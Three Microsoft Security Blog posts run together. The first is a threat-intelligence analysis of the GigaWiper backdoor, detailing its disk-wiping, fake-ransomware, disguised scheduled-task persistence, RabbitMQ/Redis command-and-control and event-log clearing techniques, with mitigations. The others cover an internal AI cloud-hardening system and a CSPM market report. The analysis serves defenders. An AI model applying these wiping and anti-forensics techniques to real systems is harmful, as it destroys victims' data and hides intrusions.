In October 2025, Microsoft Threat Intelligence identified destructive wiping activity and uncovered a sophisticated Go programming language (Golang)-based backdoor we now track as GigaWiper, a versatile implant that combines robust command-and-control (C2) capabilities with multiple destructive payloads, including disk wiping, fake ransomware, and system-level sabotage.

GigaWiper is particularly notable for its makeup. It’s not a single, purpose-built tool, but an amalgamation of separate malware families that were folded into GigaWiper as on-demand backdoor commands, giving threat actors the flexibility to choose their mode of destruction:

• A standalone wiper that operates at the physical disk level, overwriting raw disk content and removing partition metadata.
• A destructive command that derives from Crucio ransomware and encrypts files with randomly generated keys that are never saved, making decryption impossible.
• A wiping command that reimplements the logic of FlockWiper, a C-based malware reimplemented in Golang with additional multi-pass secure wiping.

The consolidation of multiple destructive capabilities into a modular backdoor reflects a notable shift in wiper malware, which are typically designed purely to destroy rather than to extort and carry real-world consequences. GigaWiper exemplifies threat actors investing in operational efficiency, merging standalone tools into unified platforms that reduce their deployment footprint while expanding their destructive capabilities.

In this blog, we provide a code-level analysis of GigaWiper’s architecture. We’re sharing these findings, along with Microsoft Defender detections and mitigation recommendations, to enable organizations and the security community to investigate and defend against GigaWiper and similar destructive threats.

A wiper inside a backdoor

Beginning in October 2025, Microsoft Threat Intelligence started observing compromised environments being wiped with destructive tooling. Looking closely at the intrusions, we observed two types of GigaWiper samples:

• Standalone wiper binaries
• Larger binaries with robust backdoor functionality

Both sample types are unstripped portable executable (PE) files written in Golang. Comparing the two samples showed that the standalone wiper’s code is fully embedded inside the backdoor as one of the commands.

The standalone wiper binary

The standalone wiper is an unstripped PE written in Golang. Instead of deleting individual files, it wipes at the physical disk level. It identifies physical drives, determines which drive contains the Windows installation, removes partition references from other drives, overwrites raw disk content, and then reboots the system.

The wiper starts by enumerating physical disks through Windows Management Instrumentation (WMI) using the following query, giving it the device identifiers and disk metadata it needs before deciding how to handle each drive:

The malware then calls main.FindWindowsDrive to determine which physical disk contains the Windows installation (for example, \\.\PHYSICALDRIVE0). With that drive identified, it iterates the remaining disk list and calls main.unallocateDrive on each non-Windows drive to remove their partition references. This is achieved with DeviceIoControl and IOCTL_DISK_CREATE_DISK, which reinitializes the disk’s partitioning metadata and effectively wipes the existing partition table entries. If successful, the malware prints to the console “Partitions removed successfully.”

Next, it proceeds to wipe each drive. It calls main.writeRandToDrive to overwrite each drive in chunks of size 0xA00000. The first byte of each buffer is randomized with crypto/rand.Read, while the rest is filled with zeros. If random generation fails, it uses the byte value “1” instead. This pattern might be intended to avoid detections or mitigations that look for conspicuous full-disk zeroing behavior.

After it finishes wiping the drives, the malware forces an immediate reboot by invoking Windows shutdown functionality with restart and zero-delay options.

The wiper binary as a backdoor command

Next, we analyzed the larger backdoor. The same wiper functionality is also present as one component of the backdoor. The code flow and function names in the larger backdoor are identical to those of the standalone wiper, with the wiper’s main.main routine implemented in the backdoor as the rabbit_tools_tool_wipe_main.WipeMain function.

Backdoor capabilities

With the wiper routine overlap established, this section focuses on the backdoor’s additional capabilities. Beyond destructive functionality, the backdoor sets persistence and implements C2 communication over RabbitMQ and Redis. In analyzing these backdoor capabilities, we discovered that some backdoor commands contain code from additional malware families.

Persistence

The backdoor creates and uses the registry key HKCU\SOFTWARE\OneDrive\Environment to track its execution count. If the key is absent on the system, the malware determines that it’s running on the system for the first time and proceeds to create the key, setting it to “0”. It then creates a new scheduled task named OneDrive Update by running the following command before printing “Task created. Original process exiting.” and exiting the process. The scheduled task is configured to essentially run every minute in addition to running once on system startup.

In subsequent executions, when the registry key exists and is greater than “0”, the malware increments it,  determines that it is running as a scheduled task (prints “Running from Task Scheduler…”), and continues execution normally.

Communication

GigaWiper uses two modes of communication:

• RabbitMQ over AMQP for receiving commands from the C2 server
• Redis server for updating command status and output

The malware decrypts a hard-coded configuration using AES with a hard-coded key. For example, one observed sample uses 185.182.193[.]21:5544 as a RabbitMQ C2 server, and 185.182.193[.]21:7542 for a Redis server, where it uploads results. The configuration also specifies the credentials to use to connect to the RabbitMQ and Redis servers.

To receive commands from the RabbitMQ C2 server, the malware declares a queue and binds it to a fanout exchange named “All”. Because “All” is a fanout exchange, any command published to it is broadcast to every bound queue across infected clients. To enable targeted commands, the malware also declares a topic exchange named “Topic”.  The backdoor binds the queue to “Topic” when the actor issues command 8 (See Commands section) and provides a routing key.

Each command sent by the C2 server is a cmd.Task structure with the following fields:

• task_id
• command_code
• args

To update the Redis server with command status and output, the malware sends it a cmd.Result struct with the following fields:

• error
• target_ip
• task_id
• target_computer_name
• output
• pwd
• time
• status
• work_status

Commands

GigaWiper logs several types of commands using specific categories:

• “always run command” – Commands that are meant to run continuously (like screen recording)
• “manage command” – Commands used to manage things on the system like services or the Registry
• “special command” / “shell command” – Modes of command 7

Each command is represented by a numeric command code from 1 to 20:

Command 1: Calls WipeMain, which is identical to the standalone wiper described in the last section

Command 2: Triggers a Blue screen error (BSOD) and prevents the device from booting

This is achieved by running a sequence of hard-coded destructive commands that disable Windows recovery, take ownership, and grant permissions to critical boot and kernel files before deleting them.

Command 3: Calls RanMain and BigBangExtortMain to trigger a file encryption process that imitates ransomware

The key and initialization vector (IV) that the malware uses to encrypt files are random and are not saved anywhere. The malware reads and encrypts each file, excluding files with extensions like .exe and .dll that are critical for the system to load. Each file is read and AES-CBC encrypted in chunks before being deleted with os.Remove. The file is renamed with the .candy extension.

It drops the following hard-coded image to ./image_danger.jpg and sets it as the wallpaper:

Command 4: Uses MinIO Client (mc) to upload a file to a remote storage

The path to the MinIO client to use is supplied in the command arguments alongside additional settings:

• IPandPort
• AliasName
• Username
• Password
• BucketName
• SourcePath
• MCPath – The path to MinIO Client (mc.exe) to use

Command 5: File encryption utility

This command bulk encrypts or decrypts files with AES-256 in Cipher Block Chaining (CBC) mode. The following are the command arguments:

• key
• iv
• path – The path to encrypt/decrypt (either a directory or a file)
• key_file
• enc – A mode that specifies whether to perform encryption or decryption

The server can specify a key and IV in the arguments. If in encryption mode but no key or IV were provided, the malware generates a random key and IV and stores them in key.txt.

If in decryption mode, the malware first tries to read the key and IV from the provided key file. If it was not provided, the malware attempts to use the key and IV sent as arguments.

Interestingly, the error message shows a glimpse of what running this command might look like from the actor side:

Key/IV required. Use -k/-i or –keyfile

Command 6: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“6”]

We have not seen this structure populated in the binary. The logging message “Exec cmd wipe-file” suggests that this is meant to contain wiper functionality.

Command 7: This command has two types:

Type: shell command – Command for running PowerShell commands. The malware appends ;”|?????|$pwd” to the command. This causes the output of each command to include |?????|, followed by the current working directory. Then, the malware calls os.Chdir to change the working directory to the path output by $pwd, so the next command runs in that same folder.

Type: special command – When command 7 is run with one of the following arguments, it is considered a “special command” and handled as follows:

• purge_cmd_queue: Empties the queue of shell commands, then stops the process run by command 7 “shell command” if it exists
• purge_queue: Empties the queue of normal commands, then stops the process run by commands 6 or 13 if it exists (those are two of the “always run” commands)
• pwd: Sets a global flag to indicate the working status, which is sent to the server in shell command 7, and then proceeds to run pwd using shell command 7.

Command 8: RabbitMQ route manager; allows binding the queue to the “Topic” exchange to receive targeted, non-broadcast commands (Type: manage command)

This command receives a mode of operation (1/2/3), followed by a list of routing keys as arguments:

• Mode 1 – Binds each provided routing key
• Mode 2 – Unbinds each provided routing key
• Mode 3 – Pairs update mode: for each old,new pair, unbinds the old key then binds the new one

Command 9: Takes one screenshot per active monitor/display

The malware saves each screenshot to a PNG file in .\<timestamp\<monitor_index>.png (for example .\2026-06-10_12-30-00\0.png).

Command 10: Records the screen when the user is not idle (10s) and the system is unlocked(Type: always run command)

Recordings are saved in the folder C:\ProgramData\output.

Command 11: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“11”] (Type: always run) command

We have not seen this structure populated in the binary. The logging message “Exec cmd keylog” suggests that this is meant to be a keylogger functionality.

Command 12: Calls WipeCMain to wipe the system

This command is like command 1 (WipeMain), but with a few important differences:

• It only wipes the drive with the Windows installation. Usually it is the C drive, hence the name WipeCMain.
• It performs secure wiping: It wipes the drive with multiple passes, each time overwriting it with different bytes (0s, 0xFF, random bytes…), and prints status messages between passes:
  • Pass 1 Time took: %s\n
  • Pass 2 Time took: %s\n
  • Pass 3 Time took: %s\n
  • …

Command 13: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“13”]

The logging message “Exec cmd wipe32” suggests that this is meant to be another wiper binary. It is run as admin using the command:

Command 14: (not implemented)

Command 15: Collects system info by calling the function GRATClientInfo (Type: manage command)

The command arguments control the amount of info collected:

• long
• short

Collected system info includes:

• IP address
• Machine GUID
• CPU information
• OS information
• Network configuration
• Firmware
• User information
• Antivirus software information, collected by running the following command:

Command 16: Process manager (Type: manage command)

Arguments specify the process and operation to perform:

• process_name
• process_path
• process_id
• process_operation – Performs one of the operations below:
  • createProcess
  • resumeProcess
  • suspendProcess
  • exit (does nothing, returns empty response)
  • list
  • killProcess
  • processInfo – Returns the info below:
    • process_name
    • process_user_name
    • process_id
    • process_thread_count
    • process_memory_info
    • process_exe_path
    • process_status
    • process_error

Command 17: Service manager (Type: manage command)

This command is similar to the other manage commands, but for services. It has the following arguments:

• service_name
• service_display_name
• service_exe_path
• service_operation
  • create
  • delete
  • restart
  • query
  • start
  • list
  • stop

Command 18: Registry manager (Type: manage command)

On first execution, the malware runs rabbit_bin.RunOnceRegistryMain.gowrap1 in the background as a goroutine. On subsequent executions, the routine receives and returns input and output through Go channels. From there, it operates almost like an interactive session, persisting its position in the Registry between requests, and allowing the following operations (arguments):

• registry_root_key
• registry_key_path
• registry_key_name
• registry_value_entities
• registry_operation
  • show – Enumerates current key, subkeys, and values
  • navigate – Change current position to a new key and send its contents
  • back – Go up one level from current key
  • exit – Exits the current session
  • createKey
  • deleteKey
  • deleteValue
  • setValue

Command 19: Clears Windows event logs

First, the malware ensures that it’s running with Administrator privileges. Next, it deletes the System, Setup, Application, and ForwardedEvents event logs by running the following command for each:

Then, for unknown reasons, it prints the hard-coded string “kharbvnmhkjbkjb”.

Finally, it attempts to delete the Security event logs using wevutil.exe. If it fails, it prints the message “Failed to clear Security with wevtutil. Attempting manual removal…” and attempts to directly delete the log file C:\Windows\System32\winevt\Logs\Security.evtx.

Command 20: Starts a server so the attackers can remotely control the system in a VNC-like manner; allows keyboard and mouse control and streams the screen to the attackers (Type: always run command)

This occurs over TCP with the port provided as a command argument. The malware first deletes the existing firewall rule if it exists. The rule name impersonates legitimate Windows firewall rule names:

Finally, the malware creates rules with that name to allow inbound and outbound traffic to its own program over a port provided in the command arguments. The following command is run once with Inbound then with Outbound:

How GigaWiper was assembled

The standalone wiper, implemented as command 1, is only one part of the interesting anatomy of GigaWiper.

The backdoor contains code for two additional wiping commands: command 3, implemented as rabbit_tools_tool_ran_main_cmd_extort.RanMain, and command 12, implemented as rabbit_tools_tool_wipec_main.WipeCMain. Further analysis showed that, like the standalone wiper, these originated from two separate, older malware families previously used by the same threat actor.

In other words, the GigaWiper backdoor is an amalgamation of at least three standalone malware families, stitched together as commands within a single implant, and combined with new backdoor functionality.

RanMain and BigBangExtortMain

As mentioned, command 3 is handled by rabbit_tools_tool_ran_main_cmd_extort.RanMain, which calls rabbit_tools_tool_ran_main_bin.BigBangExtortMain to encrypt the files on the victim system and rename them with the .candy extension. This is a wiper disguised as ransomware. The key and IV are randomly generated but not saved anywhere, and no ransom note is dropped. As a result, the actor has neither the ability nor, apparently, the intent to ever decrypt the files.

The function BigBangExtortMain is notable. A function with the same name was used in the Crucio ransomware, which was documented in a Cybersecurity and Infrastructure Security Agency (CISA) advisory published in December 2023. GigaWiper backdoor command 3 is heavily based on Crucio’s code, leading to the assessment that the same threat actor developed both malware families.

WipeCMain

Command 12 represents the third wiper family that was incorporated into the GigaWiper backdoor. This command is handled by rabbit_tools_tool_wipec_main.WipeCMain. It is very similar to command 1, WipeMain, except that it wipes only the Windows installation drive, and performs more secure wiping with multiple passes.

Our research revealed that WipeCMain is essentially identical to the standalone wiper that Microsoft tracks as FlockWiper. While FlockWiper was written in C, its logic appears to have been reimplemented in Golang within GigaWiper. In essence, the two variants follow the same core execution flow, and many of the strings are identical, though the GigaWiper implementation appears to be a more updated version. FlockWiper was first uploaded to VirusTotal in June 2025, months before GigaWiper was first observed in the wild.

Another notable detail is that the observed FlockWiper samples contain program database (PDB) paths referencing “GRAT”:

• A:\GRAT\CWipeNew\Release\CWipeNew.pdb
• E:\files\new\GRAT\CWipe\Release\CWipe.pdb

The name “GRAT” is also prevalent in several function names within the GigaWiper backdoor. Although the FlockWiper binaries do not include “GRAT” functionality, the PDB paths provide another link between the two malware families.

Conclusion: Multiple destructive capabilities consolidated into a single implant

GigaWiper is a backdoor with extensive operational capabilities that allow a threat actor to maintain control over infected systems, execute commands, deploy additional tooling, and ultimately trigger one of multiple destructive commands on demand. It allows the threat actor to operate with flexibility, enabling both quiet espionage activity and destructive wiping operations.

Our research reveals that GigaWiper was created by combining and reimplementing components from at least three previously separate malware families. This includes the wiping functionality, and the file-encrypting ransomware that leaves no way to decrypt the files.

We tied GigaWiper to both Crucio and FlockWiper based on code analysis, shared execution flow, function naming, and unique strings. Crucio’s code was the base for GigaWiper command 3, and FlockWiper was recoded in Golang and updated for GigaWiper command 12. In addition, the references of “GRAT” in both the FlockWiper PDB paths and GigaWiper function names provide an additional link between these tools, and suggests the possible existence of another related component or framework that has not yet been recovered.

Overall, these findings show the evolution of the actor’s tooling over time. Functionality was merged into a single robust backdoor, granting the actor more ways to control and destroy infected systems.

Defending against destructive threats

To harden networks against GigaWiper, defenders can implement the following mitigation steps:

• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Block direct access to known C2 infrastructure where possible, informed by your organization’s threat intelligence sources.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Microsoft Defender XDR customers can also implement the following attack surface reduction rules to harden an environment against techniques used by threat actors:
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: GigaWiper

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post GigaWiper: Anatomy of a destructive backdoor assembled from multiple malware appeared first on Microsoft Security Blog.

At Microsoft we encompass these security requirements, along with threat knowledge and operational frameworks in our Secure Future Initiative (SFI), to guide what a well-defended cloud service looks like. But defining the requirements is only the start. Meeting them means continuously evaluating our live services against them, at AI speed.  

That is why Microsoft built a multi-agent AI system that proactively evaluates and hardens our cloud infrastructure—matching the speed, scale, depth, and quality needed for our unique hyper-scale production environments. This system is purpose-built to evaluate Microsoft’s own cloud services against our stringent security requirements and make our infrastructure harder to compromise. While this is an internal capability and not available as a customer-facing product or service, the insights and patterns we develop through this work will inform how we improve our products over time. This system complements existing tools in Microsoft’s security ecosystem. For example, this system incorporates code-level vulnerabilities, including from systems like codename MDASH and adds configuration, identity, network, and runtime context, to assess overall service security posture. 

A modern AI architecture for proactive defense 

Vulnerabilities don’t just live in code. They emerge from the interplay between how a service is built, configured, deployed, and connected. Consider a cloud service where the application code passes every security review, the identity configuration follows least-privilege policy, and the network rules restrict inbound traffic as designed. Individually, each component is compliant. The system evaluates the service as a whole and may find that a combination of a permissive service-to-service trust relationship, a token scope that grants broader access than the service requires, and a deployment configuration that exposes an internal API to an adjacent network tier creates a composite vulnerability that no single-component review would surface.

At its core, the system employs a multi-tier agent hierarchy: orchestration agents for workflow management, analysis agents that specialize in security reasoning and are grounded in Microsoft’s threat intelligence—including emerging patterns and threat actor activity—and evidence-gathering agents that investigate across code repositories, infrastructure definitions, identity configurations, runtime settings, network topologies, and live resource states.  

The result of this multi-stage analysis is a comprehensive security understanding of each service that goes beyond what any single analysis method can provide on its own. Compared to traditional human-led security reviews that take weeks, the system compresses the same depth of analysis into hours. 

How it works: The system follows a multi-stage analysis pipeline, where each stage builds on the one before it:

1. Profiles each service architecture to understand components, data flows, trust boundaries, risk exposure, and more. 
2. Enumerates applicable security controls based on SFI requirements across identity, network, tenant isolation, engineering systems, and detection domains. 
3. Verifies control implementations against real-world code, configurations, and cloud resources. 
4. Evaluates defense-in-depth coverage to help ensure layered protections exist across all control domains. 
5. Identifies where controls are missing, misconfigured, or brittle, and maps the compensating controls that determine whether a gap is exploitable in practice. 
6. Produces compensating controls and durable fix recommendations for immediate-risk reduction while driving lasting remediation. 
7. Continuously learns and improves by incorporating feedback from security reviewers and service teams, and by tapping into Microsoft’s evolving threat intelligence to adapt to new patterns. 

Core design principles  

The analysis pipeline is shaped by four principles that determine how the system reasons about security: 

1. Frontier-ready architecture

The system is built with modular model interfaces that can take advantage of new frontier capabilities as they emerge. New models, enhanced planning, and execution capabilities can be integrated behind stable agent interfaces—preserving existing tooling, orchestration, knowledge, pipelines, reporting, and governance.  

2. Compositional risk reasoning

The system uses “what-if” agentic ideation to reason compositionally about risk. It explicitly explores how individual security gaps can chain together into multi-step attack paths. For example, a minor misconfiguration in identity, combined with a seemingly unrelated network exposure, and a missing data encryption control, might together enable a serious breach. Modern attacks are often complex sequences rather than single bugs, and the system is designed to help identify and analyze them. By running diverse models and large-scale reasoning trials in parallel, the system explores an expansive space of scenarios that traditional static analysis or single-scan tools would miss. 

3. Service-specific adaptation

Cloud services aren’t one-size-fits-all, so security analysis shouldn’t be either. Rather than applying a fixed checklist, the system builds a service-specific understanding of each service it analyzes. It profiles the service in depth—identifying its components, mapping data flows, locating trust boundaries, and determining which security controls should apply given that service’s unique architecture and risk profile. If a service uses a novel pattern, a microservices architecture spanning multiple codebases, or an agent-to-agent communication model, the system adapts its analysis to account for those patterns. This adaptive approach, guided by current SFI requirements, means that the system can tackle emerging cloud paradigms that don’t fit traditional security checklists.

4. Defense-in-depth evaluation

A key focus area for SFI is layered defense. The system asks two questions: “What vulnerabilities exist?” and “Where does this service lack multiple lines of defense?”. It evaluates whether critical security domains have overlapping, robust controls, and it flags any missing or brittle layers—even if no immediate exploit is identified.

For example, the system will highlight a scenario where a service might have a weak network segmentation or an overly permissive admin role—even in the absence of a known attack—because those gaps mean a single failure could lead to a compromise.

This forward-looking, “assume breach” analysis embodies the Zero Trust and defense-in-depth principles reinforced by SFI. In an era when AI-assisted attackers can enumerate systems faster and chain together weaknesses more systematically, ensuring redundant safeguards is increasingly critical.  

The assurance tree: SFI in action 

At the core of the system are the SFI engineering and security principles: a structured body of security requirements shaped by years of hardening the Microsoft infrastructure. These requirements guide what the system evaluates, how it reasons about risk, and the recommendations generated. When security expectations evolve—whether to address a new class of threats or incorporate lessons from remediation—the system’s reasoning evolves with them. The assurance tree is how we express these requirements: a structured, hierarchical map of security controls that the system expects a service to have in place, tailored to that service’s usage and design.

As the system profiles a cloud service, it generates an assurance tree tailored to that service. At the top level of the tree are the fundamental security domains, that map to the SFI pillars. Each of these domains is recursively decomposed into more granular controls and sub-controls tailored to the service. For instance, Identity security decomposes into controls for password policies, OAuth token handling, and MFA enforcement—down to verifying that the service’s code correctly validates a JSON Web Token’s issuer and expiration. The assurance tree guides the system’s evidence-gathering agents to verify that thousands of expected controls are in place and effective—or to identify where something is missing. 

This approach turns security from an open-ended hunt into a systematic verification of the SFI requirements: the system is essentially asking, “Have all the security measures that should protect this service been properly implemented?”. Crucially, it goes further—considering how individual gaps might combine, helping to ensure that even combinations of missing controls are identified and addressed. 

Proven results: From theory to practice 

Within a few months, the system has enabled Microsoft security engineering teams to proactively harden our cloud services. It generates findings and recommendations which our security engineering teams then validate and implement. Because the system evaluates the whole service in context and reasons about the severity and exploitability of each issue before surfacing it, its findings have proven high quality and actionable: more than 90% have been confirmed as genuine security issues by our security engineers, enabling proactive action to improve security posture. Just as important as the volume and precision of findings is their nature. Many issues the system discovers are nuanced, cross-domain vulnerabilities that wouldn’t have been caught by traditional methods. For example, the system has uncovered security gaps that only become apparent when considering code, configuration, and cloud resources together—the kind of issue that isolated scans or compliance checklists could overlook.  

This capability allows us to enhance how we do security reviews. Traditionally, a deep security review of a complex service might span weeks of effort by multiple domain experts. The system can achieve a thorough review in a matter of hours—allowing teams to assess more services, more frequently.

The path forward: Applying these principles in your environment

If you are responsible for security at your organization, the key question is whether your defenses are keeping pace. AI models will continue to evolve. The organizations that are hardest to compromise will be the ones that have layered, verified controls already in place—not the ones that react fastest after something is found.

Based on what we have learned from building and operating this system, here are three principles any organization can apply now:

1. Go beyond code scanning to system-level discovery. The most consequential issues emerge not from a single bug, but from how factors including code, configuration, identity, and network interact in production. Collect rich signals across these domains and evaluate your services as composed systems, not isolated components. Prioritize composite attack paths over individual findings. 
2. Move beyond known vulnerability patterns to proactive defensive controls. Traditional scanning asks, “Is there a known bug here?” Proactive hardening asks, “Does this service have comprehensive controls and layered defenses?” Reason about not just vulnerabilities, but controls, and how defense-in-depth coverage can improve protection before a specific exploit is discovered. 
3. Integrate AI to drive proactive prevention at machine speed. The same AI capabilities that accelerate vulnerability discovery can be applied to continuously evaluate whether security controls are correctly implemented, layered effectively, and working as intended. Organizations that adopt AI-powered proactive evaluation will identify and close gaps faster than those relying solely on periodic manual review. 

For deeper guidance on implementing AI-powered defense for an AI-accelerated threat landscape, customers can review Secure Now guidance for AI‑powered security and proactive defense. Any customer with a Microsoft Entra ID can access it. Microsoft Security customers will also have access to capabilities that enable them to assess their exposure and take action. 

Moving forward, we will share more about how we are scaling our response operations to match machine speed and how SFI’s engineering practices are evolving for this new reality.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity. 

The post Protecting Microsoft at AI speed: How SFI proactively hardens our cloud   appeared first on Microsoft Security Blog.

Frost & Sullivan’s 2025 Frost Radar™ for Cloud Security Posture Management points to a structural shift: CSPM is no longer a periodic compliance exercise. It’s a continuous, risk‑based governance layer inside modern cloud native application protection platforms (CNAPPs). Frost & Sullivan projects the CSPM market will grow from $2.82 billion in 2025 to $6.96 billion by 2030 at a 19.8% compound annual growth rate (CAGR)—reflecting the growing shift from standalone posture tools to integrated, platform‑based approaches.

A cloud native application protection platform (CNAPP) brings together posture, workload protection, identity and entitlement management, and related controls to secure applications across the full lifecycle—from development through runtime operations.

Frost & Sullivan’s analysis also reinforces Microsoft’s position among leading CSPM providers, with strong performance across innovation and growth. This reflects Microsoft’s approach to unifying posture management with workload protection, identity, and data security as part of a broader CNAPP platform—aligning directly with how CSPM is evolving from point-in-time compliance to continuous risk management.

Below are five key insights from the Frost Radar and what they mean for security leaders navigating today’s cloud threat landscape.

1. CSPM is becoming the governance layer for CNAPP 

Frost & Sullivan research suggests CSPM is evolving beyond a standalone tool focused on configuration hygiene. Instead, it increasingly serves as the entry point and governance backbone for CNAPP—integrating posture signals with workload protection, identity, data security, and security operations center (SOC) workflows.

Modern CSPM solutions are expected to:

• Provide continuous visibility across infrastructure as a service (IaaS), platform as a service (PaaS), and software as a service (SaaS).
• Correlate misconfigurations, identities, vulnerabilities, and data exposure.
• Feed high‑fidelity posture context into runtime protection and incident response workflows.

What to look for

Unified visibility that connects posture findings with workload, identity, and data signals—so investigations don’t begin from scratch when posture risk turns into an incident.

Frost notes that by 2030, CSPM is expected to become less a standalone market and more a foundational governance layer inside CNAPP platforms—unifying code‑to‑cloud policy and feeding posture context into runtime and SOC workflows

2. The market is moving beyond compliance to risk‑based prioritization

Compliance coverage is now table stakes. Frost highlights that for organizations to differentiate they need solutions that continuously assess risk, reduce noise, and guide remediation—helping teams focus on the “toxic combinations” that create real exposure.

Leading solutions need to:

• Continuously assess risk rather than rely on point‑in‑time scans.
• Reduce alert fatigue through contextual correlation.
• Prioritize remediation based on exploitability and business impact.

Organizations are increasingly using CSPM to drive ongoing risk reduction—with compliance reporting treated as an outcome of stronger controls.

What to look for

Prioritization that highlights likely cyberattack paths—not just severity scores—so teams can fix what’s exploitable first and minimize false positives.

Security leaders are adjusting how they evaluate CSPM vendors in response to these shifts. Rather than asking how many compliance frameworks a solution supports, they’re looking at whether posture insights can be correlated with identity, workload, and runtime signals to expose exploitable attack paths and guide remediation across developer and SOC workflows. Frost & Sullivan’s evaluation framework reflects this transition—placing greater emphasis on integrated, code to cloud risk management capabilities inside broader CNAPP platforms.

3. Code‑to‑cloud visibility is now required

Another major theme in the Frost Radar report is how organizations can embed posture management earlier in the application lifecycle to prevent misconfigurations before deployment—and continuously detect drift as environments change.

The report emphasizes:

• Infrastructure‑as‑code (IaC) scanning and policy‑as‑code enforcement
• Continuous integration and continuous delivery (CI/CD) pipeline integration
• Ownership mapping so issues are routed to the right developer or team

By extending posture management into DevSecOps workflows, organizations can reduce remediation costs and prevent risk from reaching production.

What to look for

Security guardrails embedded in CI/CD pipelines—with clear ownership routing—so remediation happens earlier and doesn’t bounce between teams.

4. Multicloud complexity is driving platform consolidation

Fragmented tools and siloed data continue to create blind spots across posture, identity, and workload risk—overwhelming SOC teams and reducing operational effectiveness.

As a result, buyers are consolidating point products into integrated CNAPP platforms that correlate posture, workload, identity, and runtime signals.

Platform convergence is reshaping CSPM investment and deployment models:

• A growing share of CSPM capability is delivered as part of a broader platform.
• Shared dashboards improve visibility across hybrid and multicloud environments.

Consolidation reduces tool sprawl and improves SecOps efficiency.

What to look for

A platform approach that standardizes policies across clouds and carries posture insights into security operations (SecOps) workflows—improving both signal quality and remediation speed.

5. AI is reshaping CSPM—from operations to new workloads

Frost highlights AI as both an operational enabler and a new security domain for CSPM.

AI is being used to:

• Reduce alert fatigue through contextual prioritization.
• Generate compliance evidence.
• Deliver guided remediation for developers and security teams.

At the same time, CSPM capabilities are expanding into AI workload posture management—covering models, pipelines, and related infrastructure.

What to look for

AI assisted prioritization and guided remediation—plus posture coverage for AI workloads—so emerging risks such as prompt injection or data leakage are managed alongside traditional cloud risk.

What this means for security leaders

Frost & Sullivan’s analysis underscores that CSPM is no longer about checking compliance boxes—it’s becoming a strategic control layer for managing cloud risk across the entire application lifecycle.

If you’re evaluating CSPM capabilities in 2025–2026, ask:

• Can posture findings be correlated with identity, workload, and data context to expose exploitable cyberattack paths?
• Can security guardrails be embedded earlier in CI/CD pipelines through IaC and policy‑as‑code?
• Can posture insights flow into SOC workflows for faster investigation and response?
• Can risk be continuously prioritized across multicloud environments—not just reported periodically?

How Microsoft aligns with CSPM’s next phase

Frost & Sullivan attributes Microsoft’s leadership in CSPM to its ability to operationalize posture management as part of a broader cloud security platform—aligning with the report’s emphasis on integrating posture with runtime protection, identity, data security, and SecOps workflows across the application lifecycle. These capabilities align with the same governance, prioritization, DevSecOps integration, and lifecycle visibility themes highlighted across the Frost Radar insights above.

Rather than operating as a standalone compliance layer, Microsoft correlates posture data with runtime telemetry and identity signals—integrating findings into developer pipelines and SOC workflows through GitHub, Azure DevOps, and Microsoft Defender XDR. Frost highlights Microsoft’s multicloud visibility across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP); policy‑as‑code enforcement and CI/CD integration to strengthen shift‑left security; and unified dashboards that carry posture context into investigations and response.

The Frost report also notes Microsoft’s expansion into emerging posture domains—including AI and API posture management—to continuously manage cloud and AI workload risk across the application lifecycle.

Learn more

• Read the Frost & Sullivan Frost Radar™ for Cloud Security Posture Management (2025) to see how CSPM leaders are evaluated—and what capabilities matter most as vendor selection criteria shift toward integrated CNAPP platforms.

• Explore Microsoft cloud security solutions to see how unified posture management, risk prioritization, and protection across the application lifecycle can help reduce cloud risk.

